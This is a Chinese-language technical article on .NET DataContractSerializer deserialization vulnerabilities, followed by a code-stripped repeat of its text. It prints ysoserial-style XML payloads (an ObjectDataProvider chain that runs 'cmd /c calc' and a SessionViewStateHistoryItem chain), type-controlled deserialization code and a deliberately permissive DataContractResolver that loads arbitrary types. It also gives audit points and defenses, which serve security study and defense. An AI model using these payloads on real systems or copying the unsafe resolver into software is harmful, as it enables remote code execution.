.net反序列化之DataContractSerializer
字数 1095 2025-08-05 08:17:36

.NET反序列化之DataContractSerializer 深入解析

1. DataContractSerializer 概述

DataContractSerializer 是 .NET 框架中用于序列化和反序列化对象为 XML 流或文档的类,位于 System.Runtime.Serialization 命名空间,继承自抽象类 XmlObjectSerializer。它主要用于 Windows Communication Foundation (WCF) 消息中数据的序列化处理。

基本特性

  • 使用 [DataContract] 标记类为可序列化
  • 使用 [DataMember] 标记类成员为可序列化字段
  • 在部分信任模式下运行时,反序列化期间不会调用目标对象的构造函数

2. 基本使用示例

using System;
using System.IO;
using System.Runtime.Serialization;
using System.Xml;

[DataContract(Name = "Customer", Namespace = "http://www.contoso.com")]
class Person
{
    [DataMember()]
    public string FirstName;
    [DataMember]
    public string LastName;
    [DataMember()]
    public int Age;

    public Person(string newfName, string newLName, int age)
    {
        FirstName = newfName;
        LastName = newLName;
        Age = age;
    }
}

class Program
{
    static void Main(string[] args)
    {
        WriteObject("DataContractSerializerExample.xml");
        ReadObject("DataContractSerializerExample.xml");
    }

    public static void WriteObject(string fileName)
    {
        Person p1 = new Person("bill", "gates", 100);
        FileStream writer = new FileStream(fileName, FileMode.Create);
        DataContractSerializer ser = new DataContractSerializer(typeof(Person));
        ser.WriteObject(writer, p1);
        writer.Close();
    }

    public static void ReadObject(string fileName)
    {
        FileStream fs = new FileStream(fileName, FileMode.Open);
        XmlDictionaryReader reader = XmlDictionaryReader.CreateTextReader(fs, new XmlDictionaryReaderQuotas());
        DataContractSerializer ser = new DataContractSerializer(typeof(Person));

        Person deserializedPerson = (Person)ser.ReadObject(reader, true);
        reader.Close();
        fs.Close();
    }
}

生成的 XML 示例:

<Customer xmlns="http://www.contoso.com" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
    <Age>100</Age>
    <FirstName>bill</FirstName>
    <LastName>gates</LastName>
</Customer>

3. 攻击链分析

3.1 ObjectDataProvider 攻击链

利用 ysoserial 生成的 payload 示例:

<?xml version="1.0"?>
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]],System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
    <ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns="http://schemas.datacontract.org/2004/07/System.Data.Services.Internal"
                                                     xmlns:c="http://www.w3.org/2001/XMLSchema"
                                                     xmlns:i="http://www.w3.org/2001/XMLSchema-instance"
                                                     xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">
      <ExpandedElement z:Id="ref1">
        <__identity i:nil="true" xmlns="http://schemas.datacontract.org/2004/07/System"/>
      </ExpandedElement>
      <ProjectedProperty0 xmlns:a="http://schemas.datacontract.org/2004/07/System.Windows.Data">
        <a:MethodName>Start</a:MethodName>
        <a:MethodParameters xmlns:b="http://schemas.microsoft.com/2003/10/Serialization/Arrays">
          <b:anyType i:type="c:string">cmd</b:anyType>
          <b:anyType i:type="c:string">/c calc</b:anyType>
        </a:MethodParameters>
        <a:ObjectInstance z:Ref="ref1"/>
      </ProjectedProperty0>
    </ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL>
</root>

反序列化代码:

public static void ReadObject(string fileName)
{
    string xml = File.ReadAllText(fileName);
    XmlDocument xmlDocument = new XmlDocument();
    xmlDocument.LoadXml(xml);
    XmlNode rootNode = xmlDocument.SelectSingleNode("root");
    XmlNode typeNode = rootNode.Attributes.GetNamedItem("type");
    DataContractSerializer dataContractSerializer = new DataContractSerializer(Type.GetType(typeNode.InnerText));
    dataContractSerializer.ReadObject(new XmlTextReader(new StringReader(rootNode.InnerXml)));
}

3.2 SessionViewStateHistoryItem 攻击链

利用 ysoserial 生成的 payload 示例:

<root type="System.Web.UI.MobileControls.SessionViewState+SessionViewStateHistoryItem, System.Web.Mobile, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
    <SessionViewState.SessionViewStateHistoryItem xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns:x="http://www.w3.org/2001/XMLSchema" xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/" xmlns="http://schemas.datacontract.org/2004/07/System.Web.UI.MobileControls">
        <s i:type="x:string" xmlns="">Base64编码的LosFormatter payload</s>
    </SessionViewState.SessionViewStateHistoryItem>
</root>

实现代码:

[Serializable]
public class SessionViewStateHistoryItemMarshal : ISerializable
{
    public SessionViewStateHistoryItemMarshal(string strB64LosFormatterPayload)
    {
        B64LosFormatterPayload = strB64LosFormatterPayload;
    }

    private string B64LosFormatterPayload { get; }

    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        Type myType_SessionViewState = Type.GetType("System.Web.UI.MobileControls.SessionViewState, System.Web.Mobile, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
        Type[] nestedTypes = myType_SessionViewState.GetNestedTypes(BindingFlags.NonPublic | BindingFlags.Instance);
        info.SetType(nestedTypes[0]); // 访问SessionViewStateHistoryItem类(private)
        info.AddValue("s", B64LosFormatterPayload);
    }
}

4. 审计要点

审计 DataContractSerializer 反序列化漏洞时,需要关注以下关键点:

4.1 Type 控制方式

  1. 通过 XML 解析获取 type 属性
  2. 通过构造函数的 IEnumerable<Type> knownTypes 参数控制 type
  3. 通过构造函数的 DataContractResolver 参数控制自定义类型转换器
  4. 通过构造函数的 IDataContractSurrogate 参数控制实现

4.2 自定义 DataContractResolver 绕过

当 Type 不可控但类型中有松散数据类型(如 object)时,如果使用了自定义的 DataContractResolver 且未对 type 进行限制,仍可能导致 RCE。

示例代码:

internal class MyDataContractResolver : DataContractResolver
{
    public override Type ResolveName(string typeName, string typeNamespace, Type declaredType, DataContractResolver knownTypeResolver)
    {
        Type type = Type.GetType(typeName, false);
        if (type == null)
        {
            type = Assembly.Load(typeNamespace).GetType(typeName, false);
        }
        return type ?? knownTypeResolver.ResolveName(typeName, typeNamespace, declaredType, null);
    }

    public override bool TryResolveType(Type type, Type declaredType, DataContractResolver knownTypeResolver, out XmlDictionaryString typeName, out XmlDictionaryString typeNamespace)
    {
        typeName = new XmlDictionaryString(XmlDictionary.Empty, type.FullName, 0);
        typeNamespace = new XmlDictionaryString(XmlDictionary.Empty, type.Assembly.FullName, 0);
        return true;
    }
}

利用这种解析器可以绕过 knownTypes 限制,加载任意类型。

5. 防御建议

  1. 严格限制反序列化的类型,使用白名单机制
  2. 避免使用自定义的 DataContractResolver 或确保其实现安全
  3. 对输入数据进行严格验证
  4. 在部分信任环境中运行代码
  5. 及时更新 .NET 框架和安全补丁

6. 实际应用

这种攻击技术在 Exchange CVE-2021-28482 反序列化漏洞中有实际应用,攻击者通过控制 type 和利用自定义类型解析器实现远程代码执行。

.NET反序列化之DataContractSerializer 深入解析 1. DataContractSerializer 概述 DataContractSerializer 是 .NET 框架中用于序列化和反序列化对象为 XML 流或文档的类,位于 System.Runtime.Serialization 命名空间,继承自抽象类 XmlObjectSerializer 。它主要用于 Windows Communication Foundation (WCF) 消息中数据的序列化处理。 基本特性 使用 [DataContract] 标记类为可序列化 使用 [DataMember] 标记类成员为可序列化字段 在部分信任模式下运行时,反序列化期间不会调用目标对象的构造函数 2. 基本使用示例 生成的 XML 示例: 3. 攻击链分析 3.1 ObjectDataProvider 攻击链 利用 ysoserial 生成的 payload 示例: 反序列化代码: 3.2 SessionViewStateHistoryItem 攻击链 利用 ysoserial 生成的 payload 示例: 实现代码: 4. 审计要点 审计 DataContractSerializer 反序列化漏洞时,需要关注以下关键点: 4.1 Type 控制方式 通过 XML 解析获取 type 属性 通过构造函数的 IEnumerable<Type> knownTypes 参数控制 type 通过构造函数的 DataContractResolver 参数控制自定义类型转换器 通过构造函数的 IDataContractSurrogate 参数控制实现 4.2 自定义 DataContractResolver 绕过 当 Type 不可控但类型中有松散数据类型(如 object)时,如果使用了自定义的 DataContractResolver 且未对 type 进行限制,仍可能导致 RCE。 示例代码: 利用这种解析器可以绕过 knownTypes 限制,加载任意类型。 5. 防御建议 严格限制反序列化的类型,使用白名单机制 避免使用自定义的 DataContractResolver 或确保其实现安全 对输入数据进行严格验证 在部分信任环境中运行代码 及时更新 .NET 框架和安全补丁 6. 实际应用 这种攻击技术在 Exchange CVE-2021-28482 反序列化漏洞中有实际应用,攻击者通过控制 type 和利用自定义类型解析器实现远程代码执行。